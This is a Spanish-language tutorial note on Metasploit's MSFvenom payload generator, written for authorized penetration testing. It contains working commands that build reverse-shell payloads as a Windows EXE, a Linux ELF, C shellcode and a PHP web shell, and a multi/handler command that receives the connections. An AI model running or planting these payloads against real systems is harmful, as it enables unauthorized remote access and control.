Herramientas

MSFvenom

#exploitation#network

MSFvenom es el generador de payloads de Metasploit: fusiona en una sola herramienta lo que antes hacían msfpayload y msfencode. Toma un payload del framework (una reverse shell, un…

Qué es

MSFvenom es el generador de payloads de Metasploit: fusiona en una sola herramienta lo que antes hacían msfpayload y msfencode. Toma un payload del framework (una reverse shell, un Meterpreter, un comando) y lo empaqueta en el formato que necesites —ejecutable de Windows, ELF de Linux, script de PowerShell, APK, shellcode en C— listo para entregar al objetivo en una prueba autorizada.

Para qué sirve

  • Generar reverse o bind shells en decenas de formatos.
  • Producir shellcode para incrustar en un exploit propio.
  • Crear artefactos (EXE, DLL, ELF, APK, macros) para pruebas de entrega y evasión.

Cuándo usarla

  • En la fase de weaponization: convertir un payload en un fichero entregable.
  • Al desarrollar un exploit que necesita shellcode con una arquitectura concreta.
  • Para preparar la carga de un handler de Metasploit (multi/handler).

Anatomía de un comando

Terminal window
msfvenom -p <payload> LHOST=<ip> LPORT=<puerto> -f <formato> -o <salida>
  • -p — el payload (-l payloads los lista todos).
  • LHOST / LPORT — a dónde vuelve la conexión.
  • -f — formato de salida (-l formats).
  • -e — encoder; -i — iteraciones de codificación.
  • -bbad chars a evitar (p. ej. '\x00').

Uso (ejemplos comunes)

Terminal window
# Reverse shell TCP para Windows, como ejecutable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=443 \
-f exe -o shell.exe
# Reverse shell para Linux (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.2 LPORT=443 \
-f elf -o shell.elf
# Shellcode en C, evitando el byte nulo
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.2 LPORT=443 \
-b '\x00' -f c
# Payload web (PHP) para subir a un servidor vulnerable
msfvenom -p php/reverse_php LHOST=10.0.0.2 LPORT=443 -f raw -o shell.php

Del lado atacante, se recibe con el handler:

Terminal window
msfconsole -q -x "use multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST 10.0.0.2; set LPORT 443; run"

Pitfalls / Errores comunes

  • Payload sin handler. El ejecutable llama a casa, pero si no hay un multi/handler escuchando con el mismo payload, LHOST y LPORT, no pasa nada.
  • Arquitectura equivocada. Un payload x64 en un proceso de 32 bits no arranca. Ante la duda, x86 es más portable.
  • Confiar en los encoders para evadir el antivirus. Codificar (-e) sirve para eliminar bad chars, no para saltarse un EDR moderno; shikata_ga_nai está más que fichado.
  • Usarlo fuera de un alcance autorizado. Generar el payload es trivial; hacerlo sobre un sistema sin permiso, no.

Integración con otras notas

  • Framework que lo aloja: Metasploit Framework.
  • Concepto de fondo: Shells (Reverse and Bind).

Referencias

  1. Cómo usar MSFvenom — https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html